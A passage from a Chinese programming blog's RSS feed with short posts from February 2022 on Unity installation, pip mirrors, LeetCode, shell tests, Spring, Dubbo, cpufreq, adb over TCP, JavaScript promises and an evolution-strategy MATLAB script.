      <description>本文禁止转载！！！！&#xA;首先，由于Unity3D团队在持续更新IDE，Unity3D的开发环境的安装也是在不停的改变。本文安装的Unity3D环境是在2022年2月安装的，还算是比较新的。&#xA;安装步骤：&#xA;1、首先，进入官网下载软件&#xA;官网地址：https://unity.cn/&#xA;进入官网后，会看到如下界面&#xA;在这个界面下面，会看到下面的下载按钮：&#xA;我们选在下载“Unity Hub”&#xA;为什么要选在下载“Unity Hub”，而不是直接下载“Unity”？&#xA;因为，这个“Hub”就像一个集线器，把所有的东西都集成在里面了，通过这个Hub，可以快速的安装和注册。而不需要手动的安装或者注册。也就是说，选择这个Hub，安装起来会比较方便。&#xA;2、提示没有账号，需要注册一个账号&#xA;3、开始注册&#xA;注册过程中需要经过人机验证（防止恶意注册账号）&#xA;注册完毕后，会看到上面的界面，提示需要到邮箱中去激活账号&#xA;下图是邮箱中的激活连接：&#xA;激活后，需要更新个人的一些信息&#xA;4、需要绑定手机号，以上就创建UnityID成功，需要登录才可以下载相关的软件 然后再回到之前的下载&#34;Unity Hub&#34;的界面，登录之后，就可以下载了&#xA;5、UnityHub下载成功：UnityHubSetup.exe。 双击安装。安装直接下一步就可以了。&#xA;安装的过程中可能会遇到防火墙的阻止，允许即可&#xA;6、安装好后，需要激活License&#xA;选择手动激活&#xA;把许可证文件Unity_lic.alf保存在本地，方便后期使用&#xA;（本来理论上应该是可以按照上图在Unity3D Hub上激活的，但是不知道为什么，我会跳转到官网以web网页的方式激活（下图），不管了，就采用web网页的方式激活了）&#xA;在Browse里面加载刚才的License文件，加载好之后，一步步往下操作（这里面会提示你选择，你是普通用户还是企业用户，普通用户是免费的，企业用户专业版是要收费的。企业用户版本的Unity3D功能会更加强大），会弹出保存另外一个License文件，保存下来，放到刚才的Hub里面再激活&#xA;许可证激活成功&#xA;7、&#xA;进行实际的Unity3D IDE的安装 。在Hub里点击安装&#xA;Hub里面也要再登录一下自己的账号&#xA;选择2020 的版本，不要选择最高的版本（最新的版本可能会有一些bug）。推荐的版本是稳定的版本并且是长期支持的版本。&#xA;Unity3D采用的是C#开发，本质上底层需要支持 .net framewrok框架，所以必须要安装MS VS2019 下面的是安卓版本支持，也勾选上，意味着Unity3D做的游戏可以平移到安卓手机上运行&#xA;勾选许可证协议&#xA;整式开始下载安装包&#xA;安装包下载完毕后，会出现“正在安装”四个字&#xA;以上就安装完毕。安装完毕后的桌面图标如下：</description>
    </item>
    <item>
      <title>解决无法使用pip安装pandas问题</title>
      <link>https://bchobby.github.io/posts/3ae193788da44c4d1273ac7d2339525a/</link>
      <pubDate>Fri, 11 Feb 2022 13:40:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ae193788da44c4d1273ac7d2339525a/</guid>
      <description>问题描述：&#xA;pip install pandas 失败，报错如下：&#xA;ERROR: Could not find a version that satisfies the requirement pandas (from versions: none)&#xA;ERROR: No matching distribution found for pandas&#xA;解决方法：&#xA;pip install pandas -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com&#xA;原因说明：网络差</description>
    </item>
    <item>
      <title>【力扣刷题总结之435. 无重叠区间】</title>
      <link>https://bchobby.github.io/posts/792dbb868c844f974dfb874e71e649fb/</link>
      <pubDate>Fri, 11 Feb 2022 00:30:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/792dbb868c844f974dfb874e71e649fb/</guid>
      <description> 相关标签 一、题目要求&#xA;二、题解和代码实现&#xA;1.题解 非官方题解，看视频理解思路&#xA;2.代码实现 代码如下（示例）：&#xA;class Solution { public int eraseOverlapIntervals(int[][] intervals) { Arrays.sort(intervals, new Comparator&amp;lt;int[]&amp;gt;() {//排序 @Override public int compare(int[] o1, int[] o2) { return o1[0]-o2[0]; } }); int res = 0;//移除的个数 int end = intervals[0][1];//第一个数组的end值 for (int i = 1; i &amp;lt; intervals.length; i++) { if (end &amp;lt;= intervals[i][0]){//当数组的start值 &amp;gt;=end时，说明不重复 end = intervals[i][1];//把end 修改为当前元素数组的end值 }else {//说明重复，去除交集部分，保留end 小的元素数组 end = Math.min(end,intervals[i][1]);//保留end 和当前元素end 中的 最小值 res++;//移除个数+1 } } return res; } } </description>
    </item>
    <item>
      <title>shell脚本中[[ ]]和[ ]的区别</title>
      <link>https://bchobby.github.io/posts/8cdcbd015348446a664c0daee4840b62/</link>
      <pubDate>Thu, 10 Feb 2022 21:44:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cdcbd015348446a664c0daee4840b62/</guid>
      <description>shell脚本中[[ ]]和[ ]的区别及注意事项 [[ ]]和[ ]的区别 一. test和[]是符合posix标准的测试语句，兼容性相对更强，几乎可以运行在所有的shell解释器中 二. [ ]同时支持多个条件的逻辑测试，但在[ ]需要使用-a或-o，在[[ ]]中可以直接使用&amp;amp;&amp;amp;和||。且&amp;amp;&amp;amp;和||短路，-a和-o不短路 [ ]中使用-a或-o&#xA;[root@mao_aliyunserver bin]# cat test.sh #!/bin/bash a=$1 b=$2 c=$3 if [ $a = $b -a $a = $c ]; then echo &#34;abc全部相等&#34; elif [ $a = $b -o $a = $c -o $b = $c ]; then echo &#34;abc其中两个相等&#34; fi [root@mao_aliyunserver bin]# sh test.sh 1 1 2 abc其中两个相等 [root@mao_aliyunserver bin]# sh test.sh 1 1 1 abc全部相等 [root@mao_aliyunserver bin]# sh test.</description>
    </item>
    <item>
      <title>Floyd算法思路以及扩展应用</title>
      <link>https://bchobby.github.io/posts/86fdd3c979e35791726a34e4864643fa/</link>
      <pubDate>Thu, 10 Feb 2022 15:16:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86fdd3c979e35791726a34e4864643fa/</guid>
      <description>Floyd模板 见这&#xA;Floyd算法思路 首先要假定不存在负环，因为有负环的话那么最短距离就无解了；&#xA;这个算法和SPFA一样是基于 D P DP DP的；&#xA;用 f ( k , i , j ) f(k,i,j) f(k,i,j)表示从 i i i出发，最终走到 j j j，经过的节点编号不超过 k k k的所有路径的最小值；&#xA;考虑最后一步，我们可以划分出包含节点 k k k与不包含节点 k k k两部分；&#xA;不包含节点 k k k那么就是 f ( k − 1 , i , j ) f(k-1,i,j) f(k−1,i,j)；&#xA;包含节点 k k k，那么路径分为 i → k i→k i→k加上 k → j k→j k→j两部分；&#xA;因为要求最小且两边互不影响，那么就是两边取最小；&#xA;则为 f ( k − 1 , i , k ) + f ( k − 1 , k , j ) f(k-1,i,k)+f(k-1,k,j) f(k−1,i,k)+f(k−1,k,j)</description>
    </item>
    <item>
      <title>cpufreq: update_limits 实现和引用</title>
      <link>https://bchobby.github.io/posts/ff8c75738efba032d8faf03078084958/</link>
      <pubDate>Thu, 10 Feb 2022 15:04:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff8c75738efba032d8faf03078084958/</guid>
      <description>void acpi_processor_ppc_has_changed(struct acpi_processor *pr, int event_flag) { int ret; if (ignore_ppc || !pr-&amp;gt;performance) { /* * Only when it is notification event, the _OST object * will be evaluated. Otherwise it is skipped. */ if (event_flag) acpi_processor_ppc_ost(pr-&amp;gt;handle, 1); return; } ret = acpi_processor_get_platform_limit(pr); /* * Only when it is notification event, the _OST object * will be evaluated. Otherwise it is skipped. */ if (event_flag) { if (ret &amp;lt; 0) acpi_processor_ppc_ost(pr-&amp;gt;handle, 1); else acpi_processor_ppc_ost(pr-&amp;gt;handle, 0); } if (ret &amp;gt;= 0) cpufreq_update_limits(pr-&amp;gt;id);//调用下面的update_limits入口, } /** * cpufreq_update_limits - Update policy limits for a given CPU.</description>
    </item>
    <item>
      <title>cpufreq 频率设置verify</title>
      <link>https://bchobby.github.io/posts/5220e3e240407b844bbc433887d2c97d/</link>
      <pubDate>Thu, 10 Feb 2022 14:10:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5220e3e240407b844bbc433887d2c97d/</guid>
      <description>新频率在被设置时需要检查是否在可用范围内.&#xA;static struct cpufreq_driver longrun_driver = {&#xA;.flags = CPUFREQ_CONST_LOOPS,&#xA;.verify = longrun_verify_policy,&#xA;.setpolicy = longrun_set_policy,&#xA;.get = longrun_get,&#xA;.init = longrun_cpu_init,&#xA;.name = “longrun”,&#xA;};&#xA;When the user decides a new policy (consisting of&#xA;“policy,governor,min,max”) shall be set, this policy must be validated&#xA;so that incompatible values can be corrected. For verifying these&#xA;values cpufreq_verify_within_limits(struct cpufreq_policy *policy,&#xA;unsigned int min_freq, unsigned int max_freq) function might be helpful.&#xA;See section 2 for details on frequency table helpers.</description>
    </item>
    <item>
      <title>dubbo 使用说明</title>
      <link>https://bchobby.github.io/posts/56498def097d6525fc57365871022bb0/</link>
      <pubDate>Thu, 10 Feb 2022 13:11:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56498def097d6525fc57365871022bb0/</guid>
      <description>dubbo 使用说明 自动配置类 DubboAutoConfiguration&#xA;@ConditionalOnProperty( prefix = &#34;dubbo&#34;, name = {&#34;enabled&#34;}, matchIfMissing = true ) @Configuration @AutoConfigureAfter({DubboRelaxedBindingAutoConfiguration.class}) @EnableConfigurationProperties({DubboConfigurationProperties.class}) //dubbo配置类 @EnableDubboConfig //开启dubbo配置 public class DubboAutoConfiguration { public DubboAutoConfiguration() { } @ConditionalOnProperty( prefix = &#34;dubbo.scan.&#34;, name = {&#34;base-packages&#34;} ) //存在dubbo.scan.base-packages属性 @ConditionalOnBean( name = {&#34;dubbo-service-class-base-packages&#34;} ) //并且存在名为dubbo-service-class-base-packages的bean时， @Bean public ServiceAnnotationPostProcessor serviceAnnotationBeanProcessor(@Qualifier(&#34;dubbo-service-class-base-packages&#34;) Set&amp;lt;String&amp;gt; packagesToScan) { return new ServiceAnnotationPostProcessor(packagesToScan); } //创建ServiceAnnotationPostProcessor的bean } EnableDubboConfig：是否开启dubbo配置bean多值绑定，默认开启&#xA;/** * As a convenient and multiple {@link EnableConfigurationBeanBinding} * in default behavior , is equal to single bean bindings with below convention prefixes of properties: * &amp;lt;ul&amp;gt; * &amp;lt;li&amp;gt;{@link ApplicationConfig} binding to property : &#34;</description>
    </item>
    <item>
      <title>keil下载和pack下载</title>
      <link>https://bchobby.github.io/posts/973b6e388eaf65b7473eeebe170bb7fd/</link>
      <pubDate>Thu, 10 Feb 2022 11:13:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/973b6e388eaf65b7473eeebe170bb7fd/</guid>
      <description>keil下载和pack下载 keil下载如何找到keil老版本所在下载页面 pack下载 keil下载 链接: keil老版本.&#xA;链接: keil新版本.&#xA;如何找到keil老版本所在下载页面 pack下载 链接: pack下载.</description>
    </item>
    <item>
      <title>C&#43;&#43;中const引用的初始化</title>
      <link>https://bchobby.github.io/posts/24bc3c227be0470ef117b18d4452c734/</link>
      <pubDate>Thu, 10 Feb 2022 09:52:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24bc3c227be0470ef117b18d4452c734/</guid>
      <description>初始化const引用时允许用任意表达式作为初始值，只要该表达式的结果能转化成引用的类型即可。允许为一个常量引用绑定非常量的对象、字面值、甚至是一个表达式：&#xA;int i = 42; const int &amp;amp;r1 = i; //允许将cont int&amp;amp;绑定到普通int对象上 const int &amp;amp;r2 = 42; //正确：绑定到字面值 const int &amp;amp;r3 = r1 * 2; //正确：绑定到表达式 int &amp;amp;r4 = r1 * 2; //错误：r4是一个普通的非常量引用，不能绑定到一个右值 当一个const引用绑定到另外一种类型上时，会发生什么？&#xA;先看看当一个const引用绑定到相同的类型时：&#xA;int i = 42; int &amp;amp;ri = i; //ri是一个普通引用，绑定到i const int &amp;amp;cri = i; //const int&amp;amp; 绑定到普通int对象 cout &amp;lt;&amp;lt; cri &amp;lt;&amp;lt; endl; ri = 0; //通过ri改变了i cout &amp;lt;&amp;lt; cri &amp;lt;&amp;lt; endl; 输出结果是：&#xA;42&#xA;0</description>
    </item>
    <item>
      <title>spring后置处理对象——BeanPostProcessor以及注意点</title>
      <link>https://bchobby.github.io/posts/4aab8a3f704afe15f2631e896759646b/</link>
      <pubDate>Thu, 10 Feb 2022 09:29:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4aab8a3f704afe15f2631e896759646b/</guid>
      <description>这个方法可以在spring创建对象前后去自定义一些方法&#xA;举个栗子：&#xA;我想在helloworld对象创建之前输出一段话，创建之后输出一句话，那我该如何去配置呢？&#xA;声明一个后置处理类&#xA;public class InitHello implements BeanPostProcessor { @Override public Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException { System.out.println(&#34;在init之前调用了该方法&#34;); return bean; } @Override public Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException { System.out.println(&#34;在init方法之后调用了该方法&#34;); return bean; } 在xml文件中去导入相应的处理类&#xA;&amp;lt;bean class=&#34;com.LL.sp1.InitHello&#34;&amp;gt;&amp;lt;/bean&amp;gt; 输出即可&#xA;需要注意的是，spring会在每次创建对象时都去调用该方法，若配置文件中的scope=&#34;singleton&#34;，则不管去获取几次对象，它都只会输出一次，因为这是单例，并没有去新的创建一个对象。&#xA;HelloWord he = (HelloWord) context.getBean(&#34;helloWorld&#34;); HelloWord h = (HelloWord) context.getBean(&#34;helloWorld&#34;); 如果将scope设置为prototype，那么每次去获取对象时，都相当于去new一个新的对象，所以每次都会调用后置处理方法。</description>
    </item>
    <item>
      <title>Coreldraw2022cdr新版更新矢量图设计</title>
      <link>https://bchobby.github.io/posts/b7f0832d5e023a3bda4a12b490bf902a/</link>
      <pubDate>Wed, 09 Feb 2022 18:20:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7f0832d5e023a3bda4a12b490bf902a/</guid>
      <description>Coreldraw2022基本简介&#xA;Coreldraw2022是深受广大用户喜爱的专业矢量图设计软件，这款软件在继承一套完整的专业图形设计工具和功能同时，还新增了透视图、多页试图、图像调整、实时评论等全面的功能，能够很好用于商标设计、标志制作、模型绘制及分色输出等等诸多领域。&#xA;Coreldraw2022具有一体化设计和布局，同时还提供了矢量插图、页面布局、页面排版等多方面你意想不到的专业设计工具，让用户能够在这里随意编辑png、jpg、hiff、tiff、dwg等多种文件格式图像。&#xA;Coreldraw2022特色&#xA;1、新的透视图&#xA;以透视图的方式绘制对象或插图场景，比以往更快，更轻松。从1、2或3点透视图中进行选择，在共享透视图平面上绘制或添加现有对象组，并在不丢失透视图的情况下自由移动和编辑对象。&#xA;2、新的灵活的设计空间&#xA;借助新的工作流程，您可以在控制时间内从构思到输出，这使您可以控制页面和资产。&#xA;（1）多页视图&#xA;在一个视图中查看、管理和编辑项目的所有数字资产，这是一个全新的创意乐园！流畅地在页面间移动对象，并排比较设计，自由地移动页面以按照您的意愿排列它们。&#xA;（2）多资产导出&#xA;完成设计后，创建自定义的页面和对象项目列表，一键导出！&#xA;（3）符号工作流程增强&#xA;增强的“符号”工作流程可以让您在大型库中快速搜索符号，并在其他对象中更容易地识别符号，从而节省您的时间。&#xA;3、新的渐进式图像编辑&#xA;强大的新照片编辑功能可减轻您的工作负担，该功能专为以更少的步骤增强图像而设计。&#xA;（1）增强的颜色替换&#xA;试用令人印象深刻的全新替换颜色工具，以获得更快、更简单的完美照片。&#xA;（2）重新设想的调整工作流程&#xA;以 Corel PHOTO-PAINT 中完全转换的调整工作流程为例，在背景中非破坏性地实时应用关键图像调整&#xA;（3）HEIF 文件格式支持&#xA;享受对 iPhone 上使用的标准照片格式的支持&#xA;4、新的下一代合作&#xA;浪费的时间已经够多了！随着远程工作成为我们的新常态，与同事和客户保持联系。&#xA;（1）可以在共享的CorelDRAW设计文件中收集来自一个或多个贡献者的实时注释和注释。&#xA;（2）直观的新项目仪表板使存储，组织和共享云文件变得轻而易举。&#xA;（3）增强的评论泊坞窗简化了反馈过滤，并具有搜索审阅者评论的功能。&#xA;5、新的CorelDRAW无处不在&#xA;告别技术限制，打招呼，体验跨Windows，Mac，Web，iPad和其他移动设备的真正跨平台体验。凭借针对触摸优化的新用户体验，CorelDRAW.app扩展了移动设备和平板电脑上的功能，而新的iPad应用程序使旅途中的设计变得更加轻松。&#xA;6、颜色，填充和透明胶片&#xA;使用色板轻松将颜色应用于填充和轮廓，或基于颜色和声生成颜色。更改对象的透明度，并用图案，渐变，网格填充等填充对象。&#xA;7、无损编辑&#xA;知道您不会损害原始图像或对象的情况下，编辑位图和矢量。无损创建块阴影，对称图和透视图，并在CorelDRAW和Corel PHOTO-PAINT中应用许多可逆的调整和效果。&#xA;8、位图到矢量跟踪&#xA;令人印象深刻的AI辅助PowerTRACE?享受出色的位图到矢量跟踪结果。受益于高级图像优化选项，这些选项可帮助您在跟踪位图时提高其质量。&#xA;9、广泛的文件兼容性&#xA;由于支持大量的图形，发布和图像文件格式，因此可以根据客户提供的文件或需求轻松导入和导出各种项目资产。&#xA;Coreldraw2022功能&#xA;1、从业余爱好到家居办公，点燃您的设计激情&#xA;无论您是出于业余爱好还是一定的目的涉猎图形设计，软件都能为您提供为家庭项目或小型企业创作迷人图形所需要的一切&#xA;2.多合一设计和布局软件&#xA;能在一个应用程序中为您提供重要的图形设计和布局功能。&#xA;3.连接&#xA;完美无瑕的照片编辑功能，使用 Corel PHOTO-PAINT? Standard 中基于图层的强大照片编辑功能，提升图像效果。&#xA;4.完成&#xA;简单易用，无论您的技能水平如何或从事何种专业领域，直观的工具、提示和教程可以让您满怀信心地创建。&#xA;5、激发创意的工具&#xA;使用一套对用户友好的图形、布局、插图、描摹、照片编辑、网络图像和美术工具，创作出最棒的作品。&#xA;6、矢量插图&#xA;将基本的线条和形状变成复杂的艺术品。借助多种通用形状和绘图工具创建曲线。&#xA;7、页面布局&#xA;创建宣传册、多页文档等的布局。使用页面标尺、网格与辅助线，帮助您组织对象并将对象准确放置在需要之处。&#xA;8、照片编辑&#xA;使用 Corel PHOTO-PAINT? Standard 中基于图层的强大 照片编辑工具， 润饰并增强您的照片效果。调整颜色和色调，应用效果，消除瑕疵，等等。</description>
    </item>
    <item>
      <title>Spring 中@Validated 分组校验使用</title>
      <link>https://bchobby.github.io/posts/75f54bd52cc73a6dde5389fad3f4662e/</link>
      <pubDate>Wed, 09 Feb 2022 16:49:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75f54bd52cc73a6dde5389fad3f4662e/</guid>
      <description>说白了：分组的作用就是精准验证，解耦 Spring 中@Validated 分组校验使用 转载：Spring 中@Validated 分组校验使用_wangxuelei036的博客-CSDN博客_spring valid 分组&#xA;通过本文你能学习到@Validated 的基本使用，以及如何再spring-boot 中进行数据异常的统一处理&#xA;Spring Validation验证框架对参数的验证机制提供了@Validated（Spring’s JSR-303规范，是标准JSR-303的一个变种），javax提供了@Valid（标准JSR-303规范），配合BindingResult可以直接提供参数验证结果。&#xA;在检验入参是否符合规范时，使用@Validated或者@Valid在基本验证功能上没有太多区别。但是在分组、注解地方、嵌套验证等功能上两个有所不同，总体来说@validated 相当于 @Valid 验证的升级版，功能更加强大。&#xA;接下来我们直接看下如何使用&#xA;引入POM依赖&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.hibernate&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;hibernate-validator&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;5.2.4.Final&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;定义公共分组class（用于标记分组，可以像后面定义在Vo里面，但是建议一些常用的定义在外部），如下:&#xA;public interface Add {&#xA;}&#xA;public interface Edit {&#xA;}&#xA;定义接收数据的Vo&#xA;注意注解中分组的的使用，为了演示，同时在内部定义了一个特殊分组类&#xA;import com.example.jsr.commmon.Add;&#xA;import com.example.jsr.commmon.Edit;&#xA;import org.hibernate.validator.constraints.NotBlank;&#xA;import javax.validation.constraints.Pattern;&#xA;public class ParamsVo {&#xA;//特殊用于修改年龄 标记使用 灵活放置位置&#xA;public interface ModifyAge {&#xA;}&#xA;//年龄是1-120之间有效&#xA;public static final String AGE_REG = &#34;/^(?:[1-9][0-9]?|1[01][0-9]|120)$/&#34;;&#xA;@NotBlank(&#xA;groups = {Edit.</description>
    </item>
    <item>
      <title>ElasticSearch 7.x 报错：Root mapping definition has unsupported parameters</title>
      <link>https://bchobby.github.io/posts/d18dd5f9dedafb972fdbaa9c25619c17/</link>
      <pubDate>Wed, 09 Feb 2022 14:49:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d18dd5f9dedafb972fdbaa9c25619c17/</guid>
      <description>原因： ElasticSearch 7.x 默认不在支持指定索引类型&#xA;在postman中用以下数据执行put请求：&#xA;{&#34;mappings&#34;: {&#xA;&#34;person&#34; :{&#xA;&#34;properties&#34;: {&#xA;&#34;age&#34;: {&#xA;&#34;type&#34;: &#34;integer&#34;&#xA;},&#xA;&#34;hobby&#34;: {&#xA;&#34;type&#34;: &#34;text&#34;&#xA;},&#xA;&#34;mail&#34;: {&#xA;&#34;type&#34;: &#34;text&#34;&#xA;},&#xA;&#34;name&#34;: {&#xA;&#34;type&#34;: &#34;keyword&#34;&#xA;}&#xA;}&#xA;}&#xA;}&#xA;}&#xA;报错：&#xA;{&#xA;&#34;error&#34;: {&#xA;&#34;root_cause&#34;: [&#xA;{&#xA;&#34;type&#34;: &#34;mapper_parsing_exception&#34;,&#xA;&#34;reason&#34;: &#34;Root mapping definition has unsupported parameters: [person : {properties={mail={type=text}, name={type=keyword}, age={type=integer}, hobby={type=text}}}]&#34;&#xA;}&#xA;],&#xA;&#34;type&#34;: &#34;mapper_parsing_exception&#34;,&#xA;&#34;reason&#34;: &#34;Failed to parse mapping [_doc]: Root mapping definition has unsupported parameters: [person : {properties={mail={type=text}, name={type=keyword}, age={type=integer}, hobby={type=text}}}]&#34;</description>
    </item>
    <item>
      <title>verdi</title>
      <link>https://bchobby.github.io/posts/71a1f456f2cca7192d736a2d529960f3/</link>
      <pubDate>Wed, 09 Feb 2022 14:36:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71a1f456f2cca7192d736a2d529960f3/</guid>
      <description>Verdi基础知识整理_小小黑的博客-CSDN博客_verdi</description>
    </item>
    <item>
      <title>failed to connect to ‘192.168.*.*:5555‘: Connection refused</title>
      <link>https://bchobby.github.io/posts/7fa8cf265a79937a8f819dd141c1ee5b/</link>
      <pubDate>Wed, 09 Feb 2022 10:54:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fa8cf265a79937a8f819dd141c1ee5b/</guid>
      <description>原因：&#xA;安卓系统未打开adb网络调试功能&#xA;通过USB方式连接到安卓系统设置即可&#xA;解决方案：&#xA;通过USB线连接安卓机和电脑&#xA;确保安卓系统中的开发者选项打开，USB调试项也是是开启的&#xA;通过cmd打开命令行窗口界面，输入adb devices 能看到所连接的设备情况下&#xA;adb root 权限提权&#xA;adb shell 进入到安卓系统的shell&#xA;① setprop service.adb.tcp.port 5555 设置adb服务端口为5555， 打开adb网络调试功能&#xA;附加说明： setprop service.adb.tcp.port -1 表示打开adb的usb调试功能&#xA;② exit 退出android shell&#xA;adb tcpip 5555 让设备在 5555 端口监听 TCP/IP 连接&#xA;拔掉USB线&#xA;adb connect x.x.x.x:x连接即可</description>
    </item>
    <item>
      <title>promise.all和promise.race的应用场景并举例说明</title>
      <link>https://bchobby.github.io/posts/75e2c85a29a8b7ee93fde826476b202e/</link>
      <pubDate>Wed, 09 Feb 2022 10:29:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75e2c85a29a8b7ee93fde826476b202e/</guid>
      <description>问题描述 为了解决前端异步函数多层嵌套会产生回调地狱问题，以及回调地狱错误不方便捕捉的问题。那些制造规则的大佬们，就在ES6中加入了一个新功能~Promise。&#xA;Promise.all接收的是数组，得到的结果也是数组，并且一一对应，也可以理解为Promise.all照顾跑的最慢的，最慢的跑完才结束。&#xA;Promise.race接收的也是数组，不过，得到的却是数组中跑的最快的那个，当最快的一跑完就立马结束。&#xA;Promise.all方法 Promise.all( ).then( )适用于处理多个异步任务，且所有的异步任务都得到结果时的情况。&#xA;比如：用户点击按钮，会弹出一个弹出对话框，对话框中有两部分数据呈现，这两部分数据分别是不同的后端接口获取的数据。&#xA;弹框弹出后的初始情况下，就让这个弹出框处于数据加载中的状态，当这两部分数据都从接口获取到的时候，才让这个数据加载中状态消失。让用户看到这两部分的数据。&#xA;那么此时，我们就需求这两个异步接口请求任务都完成的时候做处理，所以此时，使用Promise.all方法，就可以轻松的实现，我们来看一下代码写法&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;el-button type=&#34;primary&#34; :loading=&#34;loading&#34; plain @click=&#34;clickFn&#34;&amp;gt;点开弹出框&amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;App&#34;, data () { return { loading:false, alertMask:false, } }, methods: { clickFn() { this.alertMask = true; // 打开弹出框 this.loading = true; // 暂时还没数据，所以就呈现loading加载中效果 // 第一个异步任务 function asyncOne() { let async1 = new Promise(async (resolve, reject) =&amp;gt; { setTimeout(() =&amp;gt; { // 这里我们用定时器模拟后端发请求的返回的结果，毕竟都是异步的 let apiData1 = &#34;</description>
    </item>
    <item>
      <title>ES算法</title>
      <link>https://bchobby.github.io/posts/f2ab1e0cf44fde3d5ad11220937f4742/</link>
      <pubDate>Wed, 09 Feb 2022 10:25:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2ab1e0cf44fde3d5ad11220937f4742/</guid>
      <description>ES(Evolutionary Strategy)&#xA;在20世纪60年代初，柏林工业大学的I. Rechenberg和H.-P. Schwefel等在进行风洞实验时，由于在设计中描述物体形状的参数难以用传统的方法进行优化，从而他们利用生物变异的思想来随机地改变参数值并获得了较好的结果。随后，他们便对这种方法进行了深入的研究和发展，形成了演化计算的另一个分支—演化策略。 关键理念：“演化的演化”&#xA;以个体的变异算子为主，重组算子为辅&#xA;认为变异强度是演化的关键，称为演化策略参数&#xA;将演化策略参数纳入演化本身，不断优化参数&#xA;演化策略的基本框架 个体表示：&#xA;(x1,x2,…,xn,σ1,σ2,…,σn)，前面的x为一个个体n维，而后面的σ为此个体的各个维度变异强度。一个个体的强度可以相同&#xA;接下来介绍ES算法的主要部分——变异和生存选择：&#xA;ES算法的变异对于使用这个算法的人来说也是非常友好的，因为它也和EP一样直接给出了公式：&#xA;当μ个父代个体的都产生了子代，那么就会存在μ+μ个个体，如何从这μ+μ个个体中选出下一代呢？这个就是生存选择索要解决的事情，我们可以采用(μ+μ)随机q竞争选择，也可以简单排序择优选择。&#xA;当然ES相较于EP还多了一个重组，这里的重组对于变量部分是全局重组，要想重组出一个子代，那就要随机选取2倍维度数量的父代然后从每两个父代中诞生子代的每一维，至于怎么诞生，可以从两个父代的第随机个维随机选择一个。 策略部分的重组则是采用这两个父代的第随机个维的均值。当然重组这个模块对于演化策略似乎并不是太重要。&#xA;有了这些东西我们就可以编出相应的代码：&#xA;function [answer,best]=ESpro(fun) global popnum ubound lbound vs dim cost times best=inf; answer=zeros(times,cost/popnum); for i=1:times [X,D]=initpop(); for j=1:(cost/popnum) [newX,newD]=rcb(X,D); [newX,newD]=variant(newX,newD); [luck,fa]=selecsur(X,newX); x=[X;newX]; X=x(luck,:); d=[D;newD]; D=d(luck); last=keepbest(fa); answer(i,j)=last; if last&amp;lt;best best=last; end end end function [X,D]=initpop() X=unifrnd(lbound,ubound,popnum,dim); D=unifrnd(0,ubound,popnum,1); end function [newX,newD]=rcb(X,D) newX=zeros(popnum,dim); for i1=1:popnum for j1=1:dim select=randperm(popnum,2); %随机选出两个父代个体的下标 choose=X(select,:); %提取被选中的父代个体 newX(i1,j1)=choose(unidrnd(2),j1); %重被选中的父代个体中随机选择一个 end end newD=zeros(popnum,1); for i2=1:popnum select=randperm(length(D),2); choose=D(select); newD(i2)=mean(choose); end end function [newX,newD]=variant(X,D) newX=zeros(popnum,dim); newD=zeros(popnum,1); rho0=randn(); rho=randn(popnum,1); for i3=1:popnum newD(i3)=D(i3)*exp(sqrt(2*popnum)*rho0+sqrt(2*sqrt(popnum))*rho(i3)); if newD(i3)&amp;lt;vs newD(i3)=vs; end for j3=1:dim newX(i3,j3)=X(i3,j3)+newD(i3)*randn(); end end end function f=fit(X) f=zeros(length(X),1); for i4=1:length(X) f(i4)=fun(X(i4,:)); end end function [luck,fa]=selecsur(X,newX) X=[X;newX]; f=fit(X); [~,b]=sort(f); luck=b(1:length(b)/2); fa=f(luck); end end function best=keepbest(X) best=min(X); end 测试branin函数:</description>
    </item>
    <item>
      <title>Centos8安装docker遇到的问题：CentOS Linux 8 - AppStream 错误：为仓库 AppStream下载元数据失败</title>
      <link>https://bchobby.github.io/posts/ea8de6d33331890858fd16d0fc34fd86/</link>
      <pubDate>Wed, 09 Feb 2022 09:35:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea8de6d33331890858fd16d0fc34fd86/</guid>
